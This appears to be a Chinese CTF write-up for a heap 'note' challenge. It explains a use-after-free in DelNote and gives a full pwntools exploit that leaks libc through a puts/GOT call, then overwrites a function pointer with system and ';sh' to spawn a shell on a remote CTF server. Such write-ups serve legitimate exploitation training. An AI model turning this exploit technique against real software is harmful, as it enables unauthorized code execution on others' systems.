Add函数正常,先创建八个字节的内存
struct Node{
{
void* func_addr;
void* content;
}
然后根据输入的size开辟相应大小的内存
问题存在于DelNote函数中,free后没有置0
看一下PrintNote函数:
根据八个字节的前四个字节调用对应的函数,并把这个八个字节的首地址作为参数
若Note被free后,还是可以调用Print函数的,由于不确定func_addr是什么,所以会出现问题.
构造方法:
先Add两个Note
free掉1,free掉2,使他们到fastbin里面
Add一个size为8的Note,这个新Note的content就是Note 0的那8个字节
payload = p32(puts) + p32(got)
之后调用PrintNote(0),便可以泄露libc基址
之后free掉Note2,AddNote(2),payload = p32(system) + b’;sh\x00’
然后PrintNote(0)便可以getshell,此处利用了system以;作为分隔符的特点,前面的指令(在这里就是system的地址,四个字节没有\x00截断)无效也不会影响getshell(one_gadget也是一种思路,试了一下,没有一个能用)
exp:
from pwn import*
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',25539)
def AddNote(size,payload):
sh.sendlineafter(b'Your choice :',b'1')
sh.sendlineafter(b'Note size :',str(size).encode())
sh.sendafter(b'Content :',payload)
sh.recvuntil(b'Success !')
def DelNote(idx):
sh.sendlineafter(b'Your choice :',b'2')
sh.sendlineafter(b'Index :',str(idx))
sh.recvuntil(b'Success')
def PrintNote(idx):
sh.sendlineafter(b'Your choice :',b'3')
sh.sendlineafter(b'Index :',str(idx))
return sh.recvline()
AddNote(0x10,b'note0')
AddNote(0x10,b'note1')
DelNote(0)
DelNote(1)
AddNote(0x8,p32(0x804862B) + p32(0x804A034)) #2
libc_base = u32(PrintNote(0)[:-1]) - 0x0002d050
system = libc_base + 0x003a940
bin_sh = libc_base + 0x0015902B
log.success("libc_base:%x \n",libc_base)
print(hex(libc_base))
DelNote(2)
AddNote(0x8,p32(system) + b';sh\x00') #3
sh.sendlineafter(b'Your choice :',b'3')
sh.sendlineafter(b'Index :',b'0')
sh.interactive()